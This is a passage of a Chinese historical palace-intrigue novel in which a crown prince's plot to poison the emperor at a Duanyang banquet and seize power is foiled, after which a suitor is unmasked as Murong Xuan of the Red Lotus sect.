今日宫宴设在殿前广场。
广场上早早搭起数丈高的彩棚,悬挂艾草菖蒲,案几上摆满粽子、雄黄酒、五毒饼等节令食物。
姜稚的位置在御座右下首,仅次于太子和雍王。
她落座时,太子姜诚已经在了。
今日太子穿明黄太子服,头戴金冠,气势虽威严,面色却有些苍白,眼中甚至布满血丝。
“稚儿来了。”太子扯出一个笑容,“今日端阳,与民同乐,你可要好好享受这盛宴。”
姜稚颔首:“太子伯父费心了。”
二人目光相触,空气中仿佛有火花迸溅。
辰时三刻,皇帝驾到。
八名太监抬着步辇,赵德全在一旁小心侍候。
一行人缓缓走来。
几日不见,皇帝的身形更瘦削了。
龙袍松垮垮地挂在身上,脸色蜡黄,身形佝偻,需要赵德全搀扶才能慢慢走上御阶。
百官见皇帝出现,忙起身跪拜:“吾皇万岁万万岁——”
声音震天,皇帝却只是摆了摆手,在御座上坐下后不久便开始剧烈咳嗽。
赵德全连忙递上帕子,帕子上又是一抹暗红。
姜稚心中一紧。
虽然之前就换了药,但皇祖父**已深,解药只能暂时压制,无法根治。
【皇祖父…您一定要撑住。等今日过了,孙儿一定找天下名医为您解毒。】
这心声传到御阶下的姜肃耳中。
他眼眶微热,低下头掩饰情绪。
宫宴正式开始。
乐师奏起雅乐,宫女穿梭上菜,百官举杯敬酒,表面一片祥和。
但有心人都能感觉到,这祥和之下暗流汹涌。
巳时二刻,第一轮敬酒结束。
太子姜诚起身,举杯道:“今日端阳,儿臣敬父皇一杯,祝父皇龙体安康,万寿无疆。”
皇帝勉强举起酒杯,手却在颤抖。
李太医侍立一旁,见状连忙上前:“陛下,酒烈伤身,还是让臣先为您试酒吧。”
这是计划中的一环。
太子眼中闪过精光。
李太医从太监手中接过酒壶,倒出一杯酒,当众饮下。
片刻后,他躬身道:“酒已试过,陛下请用。”
他将另一杯酒呈给皇帝。
那杯中,正是按照计划加了“料”的酒。
皇帝接过,慢慢饮下。
见此,太子心下欢喜不已,举杯向着姜稚方向道:“父皇,今日端阳,儿臣想起一桩旧事。”
所有人的目光都看向太子。
“八年前也是端阳宫宴,那时稚儿才十岁,在宴上作《端阳赋》一首,惊艳四座。不知今日,稚儿可有什么新作?”
这话问得突兀,但无人敢质疑。
姜稚起身,神色平静:“太子伯父过誉。今日百官齐聚,稚儿不敢献丑
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。倒是想起一桩真事——”
“前朝,端阳日,有逆臣在宫中下毒谋害君父,幸被忠臣识破,才免了一场大祸。”
她顿了顿,看向李太医:“李太医,你说是不是?”
李太医浑身一颤,脸色煞白。
太子眼神一冷:“稚儿这是什么意思?”
“没什么意思。”姜稚微笑,“只是提醒诸位,端阳虽好,也要防小人作祟。”
气氛骤然紧张。
就在这时,皇帝忽然剧烈咳嗽起来,手中的酒杯“哐当”一声掉在地上,酒液四溅。
“陛下!”赵德全惊呼。
皇帝指着太子,嘴唇颤抖,却说不出话,只是死死瞪着他。
太子眼中闪过狂喜。
药效发作了!
虽然比预定的时间早了些,但无妨,计划可以提前!
太子将手中酒杯狠狠摔在地上,接着猛地起身,厉声道:“护驾!有刺客!把姜稚跟姜肃给我拿下!”
话音未落,乐师中忽然冲出十余人,抽出藏在乐器中的短刃,直扑御阶!
同时,杂役、宫女中也有数十人暴起,杀向周围的侍卫!
乾元殿前瞬间大乱!
“保护陛下!”姜肃第一个拔剑,挡在御阶前。
萧寒川早已跃起,剑光如虹,瞬间斩落三名刺客。
龙渊军精锐从各处冲出,与刺客战在一处。
战斗初期,太子略占上风。
姜诚站在混乱中,看着自己人占据优势,脸上露出疯狂的笑。
他等的这一刻终于要来临了!
“张猛!”他高喊,“关宫门!任何人不得出入!”
按照计划,张猛应该立刻关闭宫门,将东宫卫队放进来,这样局势就会被自己彻底把控。
然而——
张猛站在原地,一动不动。
太子脸色一变:“张猛!你聋了吗?!”
张猛抬头,眼中闪过挣扎,但最终咬牙道:“太子殿下,末将…不能从命!”
“你说什么?!”太子不敢相信自己的耳朵。
就在这时,宫门外传来震天的喊杀声——
不是东宫卫队,而是龙渊军的战吼!
韩猛率领的龙渊军主力,竟然提前到了!
第154章 慕容玄身份彻底暴露
太子姜诚看着眼前跟预想完全相反的一切,脸色煞白。
他恶狠狠地看向姜稚:“是你!是你搞的鬼!”
姜稚站在人群中,山影卫护在她周围。
她神色平静:“太子伯父,您谋害君父,勾结红莲教,私藏甲胄,罪证确凿。现在收手,或许还能留个全尸。”
“你休想!”太子眼中闪过疯狂,从袖中抽出一枚信号烟花,拉响。
烟花冲天而起,在空中炸开——
这是给宫外东宫卫队的信号!
现在他们攻进来,自己依旧有胜算!
然而,宫门外静悄悄的,没有任何动静。
太子的心沉到了谷底。
“太子是在等他们吗?”一个清越的声音响起。
众人转头,只见玄玦从宫门外缓步走来。
一身月白长衫纤尘不染,手中提着一颗血淋淋的人头——
正是东宫卫队统领的人头。
他将人头扔在太子面前,微微一笑:“抱歉,来晚了。宫外的叛军共计三千二百人,已全部伏诛。这是统领的首级,请太子过目。”
太子踉跄后退,脸色惨白如纸:“不!不可能!你怎么会…”
玄玦走到姜稚身边,温声道:“公主受惊了。在下幸不辱命,叛军已平。”
姜稚看着他,心中复杂。
玄玦又一次帮了她大忙,可越是如此,她越觉得不安。
而萧寒川眼神一冷,握紧剑柄。
玄玦…
不,慕容玄,你的真面目,应该很快就要揭穿了。
“逆子!”御座上,皇帝忽然开口,声音嘶哑却充满威严,“你怎么还执迷不悟?!”
太子见到皇帝没有如计划那样死去,就知道计划已经行不通了。
此时,唯有示弱,或许才能保全自己。
想到这儿,姜诚跪倒在地,做最后的挣扎:“父皇!儿臣冤枉!这些都是姜稚和萧寒川他们的阴谋!他们想陷害儿臣,篡位**!”
“陷害?”姜稚冷笑,“李太医,你来说说,太子是如何让你在陛下酒中下毒的?”
李太医浑身颤抖,跪地哭道:“陛下饶命!是太子!是太子逼臣的!”
“他抓了臣的儿子,威胁臣在陛下酒中下‘相思引’!臣有罪!臣罪该万死!”
他从怀中取出那枚玉佩:“这是太子给臣的凭证,说事成之后,让臣与儿子团聚…”
证据确凿,无可辩驳。
皇帝气得浑身发抖,指着太子:“你、你这个逆子!朕要废了你!”
“废了我?”太子忽然狂笑起来,从地上站起,眼中满是疯狂,“老不死的,你以为你还能废了我吗?我告诉你,今日这江山,我要定了!”
他猛地撕开衣襟,露出里面绑满的**!
太子狞笑,“只要我引燃,整个乾元殿都会炸成碎片!你们谁敢动?!”
所有人都惊呆了。
萧寒川脸色一变,就要上前,却被姜稚拦住。
“太子伯父,”姜稚缓缓上前,“您以为,只有您会准备后手吗?”
她拍了拍手。
惊蛰从人群中走出,手中捧着一个木盒。打开,里面是同样的**,但引信已经被拆除。
“您藏在身上的**,昨夜已经被山影卫换成了假的。”姜稚平静道,“真的在这里。”
太子瞪大眼睛,不敢置信地摸向怀中的引信——
果然,引信早已被剪断!
“不…不可能…”他喃喃道。
“结束了,太子。”姜稚看着他,眼中没有胜利的喜悦,只有悲哀,“您输了。”
太子跪倒在地,眼中最后一丝光芒熄灭。
皇帝强撑着站起来,声音嘶哑却坚定:“传朕旨意…太子姜诚,谋逆弑君,罪不可赦。即刻押入天牢,三司会审,按律…处斩!”
“父皇!父皇饶命啊!”太子哭喊着,被侍卫拖了下去。
一场逼宫闹剧,就此落幕。
百官惊魂未定,纷纷跪地:“陛下英明!”
皇帝却再也支撑不住,一口鲜血喷出,昏倒在御座上。
“陛下!”
“皇祖父!”
姜稚和姜肃同时冲上去。
混乱中,玄玦走到姜稚身边,低声道:“公主,陛下**已深,需要尽快解毒。在下认识一位南洋名医,或许…”
话音未落,萧寒川忽然挡在姜稚面前,剑指玄玦:“慕容玄,戏演够了吗?”
全场骤然安静。
玄玦——
不,是慕容玄脸上的
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笑容渐渐消失。
他看向萧寒川,眼神变得深邃:“镇北王何出此言?”
“红莲教尊者,慕容玄。”萧寒川一字一顿,“你伪装成玄玦接近公主,究竟有何目的?”
“琅琊玄氏确有其族,百年前迁居海外也不假。但就是玄氏,创建了红莲教!”
“什么?”周围的人听了此话,都睁大双眼。
“周慎将军联络了北疆的暗桩,其中有人在南洋‘琉璃岛’见过红莲教的少主,并且画出了他的画像。”萧寒川说着,从怀中拿出一张画像,展示在众人面前。
画像一寸寸地展现在大家面前。
那人物画像惟妙惟肖,尤其是眼角那颗妖艳的红痣,跟玄玦一模一样。
听了萧寒川的话,再看着画像上的人,姜稚瞳孔一缩。
而慕容玦则是沉默片刻,忽然笑了。
那笑容不再温润,而是带着几分妖异:“没想到,还是被王爷识破了。”
左眼角的朱砂痣,红得刺眼。
“没错,我就是慕容玄。”他坦然承认,看向姜稚,“我是红莲教少主不假,但我对公主的心意,也是真的。”
姜稚后退一步,山影卫立即将她护在中间。
“为什么要骗我?你想从我这里得到什么?”姜稚声音里带着颤抖。
“因为只有这样,才能接近你。”慕容玄眼神复杂。
“姜稚,从八年前第一次见你,我就知道,你是我要找的人。这八年来,我一直看着你成长。”
慕容玄伸出手:“跟我走吧。红莲教可以给你想要的一切。”
“权力,财富,还有…自由。你不必被这腐朽的皇室束缚,我们可以建立一个全新的王朝。”
“荒唐!”姜肃怒喝,“红莲教妖言惑众,祸国殃民!稚儿岂会与你同流合污!”
慕容玄不理他,只是看着姜稚。
“你知道大晟已经烂到根子里了吗?世家垄断,官员贪腐,百姓困苦...”
“你想改革?太难了。但若跟我走,我们可以推倒一切,重新开始。”
慕容玄的语气中充满了诱惑,而萧寒川在一旁也一直关注着姜稚的表情。
这位久经沙场的战神,第一次知道什么叫害怕。